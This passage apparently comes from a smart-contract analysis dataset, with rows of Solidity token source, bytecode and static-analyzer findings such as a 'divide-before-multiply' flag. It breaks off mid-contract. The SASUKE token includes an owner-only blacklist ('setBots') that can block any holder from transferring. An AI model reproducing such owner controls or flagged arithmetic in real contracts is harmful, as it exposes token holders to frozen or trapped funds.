35166107e6565b34801561041957600080fd5b50610234610801565b34801561042e57600080fd5b5061023461086f565b34801561044357600080fd5b506102346108ec565b34801561045857600080fd5b50610461610933565b60408051600160a060020a039092168252519081900360200190f35b34801561048957600080fd5b5061024b610942565b34801561049e57600080fd5b506102e4600160a060020a036004351660243561099d565b3480156104c257600080fd5b506102e4600160a060020a03600435166024356109c1565b3480156104e657600080fd5b506102346004356109e5565b3480156104fe57600080fd5b5061030d600160a060020a0360043581169060243516610a01565b34801561052557600080fd5b506102e4610a2c565b34801561053a57600080fd5b50610234610a35565b34801561054f57600080fd5b50610234600160a060020a0360043516610a6b565b6000818381151561057157fe5b0490505b92915050565b600082151561058c57506000610575565b5081810281838281151561059c57fe5b041461057557fe5b8181018281101561057557fe5b6000828211156105bd57fe5b50900390565b600354600160a060020a031633146105da57600080fd5b604051339082156108fc029083906000818181858888f19350505050158015610607573d6000803e3d6000fd5b5050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106915780601f1061066657610100808354040283529160200191610691565b820191906000526020600020905b81548152906001019060200180831161067457829003601f168201915b505050505081565b60035460009060a060020a900460ff16156106b357600080fd5b6106bd8383610b00565b9392505050565b60015490565b60035460009060a060020a900460ff16156106e457600080fd5b6106ef848484610b66565b949350505050565b600354600160a060020a0316331461070e57600080fd5b60085460ff16151561071f57600080fd5b6008805460ff19169055565b60055460ff1681565b60075481565b600354600160a060020a0316331461075157600080fd5b60035460a060020a900460ff16151561076957600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156107dc57600080fd5b6106bd8383610cdd565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461081857600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a0316331461088657600080fd5b60035460a060020a900460ff161561089d57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a0316331461090357600080fd5b6040513390303180156108fc02916000818181858888f19350505050158015610930573d6000803e3d6000fd5b50565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106915780601f1061066657610100808354040283529160200191610691565b60035460009060a060020a900460ff16156109b757600080fd5b6106bd8383610dcd565b60035460009060a060020a900460ff16156109db57600080fd5b6106bd8383610eae565b600354600160a060020a031633146109fc57600080fd5b600755565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60085460ff1681565b600354600160a060020a03163314610a4c57600080fd5b60085460ff1615610a5c57600080fd5b6008805460ff19166001179055565b600354600160a060020a03163314610a8257600080fd5b600160a060020a0381161515610a9757600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a0383161515610b7d57600080fd5b600160a060020a038416600090815260208190526040902054821115610ba257600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610bd257600080fd5b600160a060020a038416600090815260208190526040902054610bfb908363ffffffff6105b116565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c30908363ffffffff6105a416565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610c72908363ffffffff6105b116565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610d3257336000908152600260209081526040808320600160a060020a0388168452909152812055610d67565b610d42818463ffffffff6105b116565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610de457600080fd5b33600090815260208190526040902054821115610e0057600080fd5b33600090815260208190526040902054610e20908363ffffffff6105b116565b3360009081526020819052604080822092909255600160a060020a03851681522054610e52908363ffffffff6105a416565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610ee2908363ffffffff6105a416565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a3506001929150505600a165627a7a72305820dd270b63510fd51afc0162b86f050ebc750b0c2b343ceffff62226ba51cc65ad0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 879 |
0xe4e915fd305693492ca0bf1cbbd2bf420f7d7818 | pragma solidity ^0.5.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract AINFinance is Context, ERC20, ERC20Detailed {
constructor (address owner, string memory name, string memory symbol) public ERC20Detailed(name, symbol, 18) {
_mint(owner, 30000 * (10 ** uint256(decimals())));
}
} | 0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101b757806323b872dd146101e2578063313ce5671461027557806339509351146102a657806370a082311461031957806395d89b411461037e578063a457c2d71461040e578063a9059cbb14610481578063dd62ed3e146104f4575b600080fd5b3480156100c057600080fd5b506100c9610579565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061019d6004803603604081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061b565b604051808215151515815260200191505060405180910390f35b3480156101c357600080fd5b506101cc610639565b6040518082815260200191505060405180910390f35b3480156101ee57600080fd5b5061025b6004803603606081101561020557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610643565b604051808215151515815260200191505060405180910390f35b34801561028157600080fd5b5061028a610760565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102b257600080fd5b506102ff600480360360408110156102c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610777565b604051808215151515815260200191505060405180910390f35b34801561032557600080fd5b506103686004803603602081101561033c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061082a565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610872565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b506104676004803603604081101561043157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610914565b604051808215151515815260200191505060405180910390f35b34801561048d57600080fd5b506104da600480360360408110156104a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a25565b604051808215151515815260200191505060405180910390f35b34801561050057600080fd5b506105636004803603604081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a43565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106115780601f106105e657610100808354040283529160200191610611565b820191906000526020600020905b8154815290600101906020018083116105f457829003601f168201915b5050505050905090565b600061062f610628610aca565b8484610ad2565b6001905092915050565b6000600254905090565b6000610650848484610d53565b6107558461065c610aca565b61075085606060405190810160405280602881526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206181526020017f6c6c6f77616e6365000000000000000000000000000000000000000000000000815250600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610706610aca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110d79092919063ffffffff16565b610ad2565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610820610784610aca565b8461081b8560016000610795610aca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119990919063ffffffff16565b610ad2565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561090a5780601f106108df5761010080835404028352916020019161090a565b820191906000526020600020905b8154815290600101906020018083116108ed57829003601f168201915b5050505050905090565b6000610a1b610921610aca565b84610a1685606060405190810160405280602581526020017f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7781526020017f207a65726f0000000000000000000000000000000000000000000000000000008152506001600061098f610aca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110d79092919063ffffffff16565b610ad2565b6001905092915050565b6000610a39610a32610aca565b8484610d53565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610c68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e1e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610ee9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b610f9881606060405190810160405280602681526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206281526020017f616c616e636500000000000000000000000000000000000000000000000000008152506000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110d79092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582901515611186576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561114b578082015181840152602081019050611130565b50505050905090810190601f1680156111785780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110151515611219576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fea165627a7a723058209527512179ea489644e3d60ae1dc28e64013474251453d10dcb4a499a83344100029 | {"success": true, "error": null, "results": {}} | 880 |
0x9de3acb060ceef60fe26be51e49d055c8b362604 | /*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SASUKE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SASUKE | t.me/sasukecoin";
string private constant _symbol = "SASUKE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 6;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 6;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
